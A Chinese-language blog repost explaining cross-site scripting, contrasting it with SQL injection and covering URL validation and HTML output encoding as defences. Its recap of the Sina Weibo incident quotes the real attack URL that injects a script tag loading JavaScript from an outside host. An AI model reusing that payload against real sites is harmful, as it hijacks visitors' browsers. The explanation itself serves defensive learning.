网络攻击之二:XSS(之一是SQL注入,前面有文章)
学习了 http://www.oschina.net/question/565065_57506
(这里做了转载 http://blog.csdn.net/stilling2006/article/details/8526498)
Cross-site scripting(XSS),是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。比如,包括HTML代码和客户端脚本的页面。为不和层叠样式表(CSS)的缩写混淆,通常将跨站脚本缩写为XSS。
SQL Injection是把恶意的代码注入的数据库并且执行该SQL语句,最后返回相应数据,所以SQL Injection是作用于数据库的,
而XSS是通过发送恶意的代码到服务,让服务器把恶意代码发送到其他用户浏览器中,最后劫持用户浏览器,所以XSS是作用于用户的。
XSS主要攻击方式有两种:
一种就像SQL Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进行很多操作。
比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。 另一类则是来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,
我们自己构造一个跨站网页放在自己的服务器上,
然后通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
这一类攻击的威胁相对较低,至少Ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。
通过上面的示意例子我们发现XSS攻击和SQL Injection存在着相同点,它们是通过注恶意代码进行攻击的,不同点是它们攻击对象不尽相同。
XSS是通过注入恶意代码,如:JavaScript, VBScript, ActiveX, HTML, 或 Flash等来劫持用户浏览器,进而通过构造恶意的URL。
构造恶意Url的意思是:
很多网站页面元素拼接是由url参数来组成的。 如果恶意篡改参数,会将一些script也混在页面中发给用户。用户打开时,这些js脚本就运行了。 可以改了url之后,把这些url发给用户,让用户点击。用户看到host是大网站就没有提高警惕,却误让这些js脚本得到执行了。
下面这段JS可以实现URL的校验:
var url = Request.QueryString["url"];
if (!string.IsNullOrEmpty(url))
{
this.litLeavingTag.Text =
Regex.IsMatch(url, @"\w+:\/{2}[\d\w-]+(\.[\d\w-]+)*(?:(?:\/[^\s/]*))*") ?
string.Format("<a href={0} >examplejob</a>", url) : "The url is invalid.";
}
上面这个正则,我也有有一点,没看到,尤其是为什么需要两个"(?:"。关于正则语法和学习,参考我另外一个转载的文章:
http://www.cnblogs.com/charlesblc/p/5990322.html
HTML编码输出:
另一种必不可少的XSS防御策略是输出编码方式,它通过确保在一个字符串中的每个字符都以正确的形式呈现。例如,为了在浏览器中正确地呈现“<”,“>”或空格等文本时,
我们需要对其进行编码处理,否则浏览器将根据这些特性文本去执行其功能,而不是正确的呈现在页面上。 我们常见的HTML编码有: ,<,>和" 等等。
非HTML编码输出:
当我们把HTML编码后的文本通过消息提示框显示时,文本还是以编码后的形式显示没有进行解码处理,但用户一看到他们的第一反应就是说我们的程序出现乱码有问题,
其实我们心知只是还没有进行解码处理而已,所以在一些非HTML编码中我们还要先进行解码处理
新浪微博XSS攻击事件
想必大家对新浪微博XSS攻击事件记忆犹新吧!它利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,
然后通过http://163.fm/PxZHoxn短链接服务,将链接指向: ">">">http://weibo.com/pub/star/<script src=//www.2kt.cn/images/t.js></script> link:http://weibo.com/pub/star/%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E URL编码后显示: http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update 通过上面的例子大家发现其实上面的XSS攻击也并不是那么神秘。
总结
XSS攻击作为Web业务的最大威胁之一,它犯下了种种罪行例如新浪微博的XSS攻击事件,不仅危害Web业务本身,对访问Web业务的用户也会带来直接的影响,
如何防御和阻止XSS攻击,保障Web站点的业务安全,这个重担有落到每一位开发者的身上了。
网络攻击之二:XSS(之一是SQL注入,前面有文章)的更多相关文章
- Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。
Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...
- mybatis 学习笔记(二):mybatis SQL注入问题
mybatis 学习笔记(二):mybatis SQL注入问题 SQL 注入攻击 首先了解下概念,什么叫SQL 注入: SQL注入攻击,简称SQL攻击或注入攻击,是发生于应用程序之数据库层的安全漏洞. ...
- egg 阻止 sql 注入,相关文章
egg 阻止 sql 注入,相关文章 网址 注意!!我们极其不建议开发者拼接 sql 语句,这样很容易引起 sql 注入!!如果必须要自己拼接 sql 语句,请使用 mysql.escape 方法. ...
- addslashes,htmlspecialchars,htmlentities转换或者转义php特殊字符防止xss攻击以及sql注入
一.转义或者转换的目的 1. 转义或者转换字符串防止sql注入 2. 转义或者转换字符防止html非过滤引起页面布局变化 3. 转义或者转换可以阻止javascript等脚本的xss攻击,避免出现类似 ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- mysql进阶(二十四)防御SQL注入的方法总结
防御SQL注入的方法总结 这篇文章主要讲解了防御SQL注入的方法,介绍了什么是注入,注入的原因是什么,以及如何防御,需要的朋友可以参考下. SQL注入是一类危害极大的攻击形式.虽然危害很大,但是防御却 ...
- 过滤xss攻击和sql注入函数
/**+----------------------------------------------------------* The goal of this function is to be a ...
- 【转载】XSS攻击和sql注入
XSS攻击: https://www.cnblogs.com/dolphinX/p/3391351.html 跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻 ...
- 一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持
目录 XSS 攻击 SQL 注入 CSRF 攻击 DDOS 攻击 DNS 劫持 XSS 攻击 全称跨站脚本攻击 Cross Site Scripting 为了与重叠样式表 CSS 进行区分,所以换了另 ...
随机推荐
- 深入理解python之self
首先明确的是self只有在类的方法中才会有,独立的函数或方法是不必带有self的.self在定义类的方法时是必须有的,虽然在调用时不必传入相应的参数. self名称不是必须的,在python中self ...
- BZOJ 3155: Preprefix sum
大意:给一个数组,先求出SUM[I],然后动态的求出1-I的SUM[I]的和, 这题得化公式: 树状数组维护两个和:SUM(A[I])(1<=I<=X); SUM(A[I]*(N-I+1) ...
- YARN的 AM与RM通信,申请资源分配过程
AppMaster向RM请求资源 MRAppMaster :serviceinit // service to allocate containers from RM (if non-uber) or ...
- js函数延迟执行
function delay(value){ //全局变量保存当前值 window._myTempDalayValue = value; setTimeout(function(){ //延时之后与全 ...
- NodeJS异常处理uncaughtException篇
很多 NodeJS 的开发者在抱怨异常处理太麻烦,我们会通过一些列博客梳理一下NodeJS中常见的异常处理的手段. 和大多数编程语言一样,在 NodeJS 里可以通过throw抛出一个异常: thro ...
- awk处理之案例四:sort加awk来过滤文本
编译环境 本系列文章所提供的算法均在以下环境下编译通过. [脚本编译环境]Federa 8,linux 2.6.35.6-45.fc14.i686 [处理器] Intel(R) Core(TM)2 Q ...
- Git 10 周年之际,创始人 Linus Torvalds 访谈
点这里 十年前的这一周,linux 内核社区面临一个根本性的挑战:他们不再能够使用他们的修复控制系统:BitKeeper,同时其他的软件配置管理遇到了对分布式系统的新需求.Linus Torvalds ...
- JS之DOM(二)
一.DOM节点的操作 1.增加: (1). document.creatElement('标签名');创建元素节点 (2). document.creatTextNode('文本内容'):创建文本节点 ...
- VS2012如何更新下载TFS上面的代码到本地
现在的代码基本上全都放在TFS上面,如何同步TFS上面的code呢? 1. Open "Team Explorer - Home" 2. Click "Source Co ...
- SWD应用接口
随着ARM公司对Cortex系列的推出,采样SWD方式调试成了大家的首选.SWD不仅速度可以与JTAG媲美,而且使用的调试线少得多.很多人在采样SWD方式进行调试时,一般都是采用4线: ① VCC ...